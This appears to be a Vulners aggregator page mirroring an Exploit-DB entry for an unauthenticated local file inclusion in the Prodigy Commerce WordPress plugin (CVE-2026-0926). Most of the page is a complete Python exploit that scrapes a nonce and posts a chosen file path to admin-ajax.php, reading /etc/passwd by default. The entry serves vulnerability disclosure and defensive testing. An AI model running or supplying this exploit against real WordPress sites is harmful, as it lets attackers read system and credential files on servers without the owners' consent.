Lucene search
K

Prodigy Commerce 3.3.0 - Local File Inclusion

🗓️ 29 May 2026 00:00:00Reported by DiamorphineType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 51 Views

Prodigy Commerce WordPress plugin versions up to 3.2.9 suffer local file inclusion via parameters[template_name], enabling unauthenticated file access.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
exploit-arsenal
23 Jun 202608:55
githubexploit
GithubExploit
Exploit for CVE-2026-0926
23 May 202621:29
githubexploit
GithubExploit
Exploit for CVE-2026-0926
23 May 202621:29
githubexploit
Circl
CVE-2026-0926
19 Feb 202606:00
circl
CNNVD
WordPress plugin Prodigy Commerce 安全漏洞
19 Feb 202600:00
cnnvd
CVE
CVE-2026-0926
19 Feb 202604:36
cve
Cvelist
CVE-2026-0926 Prodigy Commerce <= 3.3.0 - Unauthenticated Local File Inclusion via parameters[template_name]
19 Feb 202604:36
cvelist
Nuclei
Prodigy Commerce <= 3.3.0 - Local File Inclusion
24 Jun 202603:02
nuclei
NVD
CVE-2026-0926
19 Feb 202607:17
nvd
Packet Storm
📄 WordPress Prodigy Commerce 3.2.9 Local File Inclusion
29 May 202600:00
packetstorm
Rows per page
# Exploit Title: Prodigy Commerce  3.3.0 - Local File Inclusion 
# Date: 23-05-2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://prodigycommerce.com/
# Software Link: https://wordpress.org/plugins/prodigy-commerce/
# Version: 3.2.9
# Tested on: Debian
# CVE : CVE-2026-0926
# Description: Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.


import httpx
import asyncio
import re
from urllib.parse import urljoin
import argparse


def get_nonce(base_url):
    with httpx.Client(verify=False) as client:
        r = client.get(url=base_url)
        match = re.search(r'var settings\s*=\s*{[^}]*"nonce":"([^"]+)"', r.text)
        if match:
            nonce = match.group(1)
            return nonce
        else:
            print("Nonce not found")

async def main(base_url,file):
    async with httpx.AsyncClient(verify=False) as client:
        nonce = get_nonce(base_url)
        data = {
            "action": "prodigy-render-my-account-widget",
            "nonce": nonce,
            "parameters[template_name]": file,
            "parameters[default_path]": "/"
        }

        url = urljoin(base_url, '/wp-admin/admin-ajax.php')
        r = await client.post(url=url, data=data)
        raw = r.json()
        out = raw['data']
        print(out['html'])

parser = argparse.ArgumentParser(description="Prodigy Commerce <= 3.3.0 - Local File Inclusion exploit")
parser.add_argument("-f", "--file", default='/etc/passwd', help="File to read, default: /etc/passwd")
parser.add_argument("-u", "--url", required=True, help="Target url, e.g. http://test.local")
args = parser.parse_args()

asyncio.run(main(args.url, args.file))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.09396
SSVC
51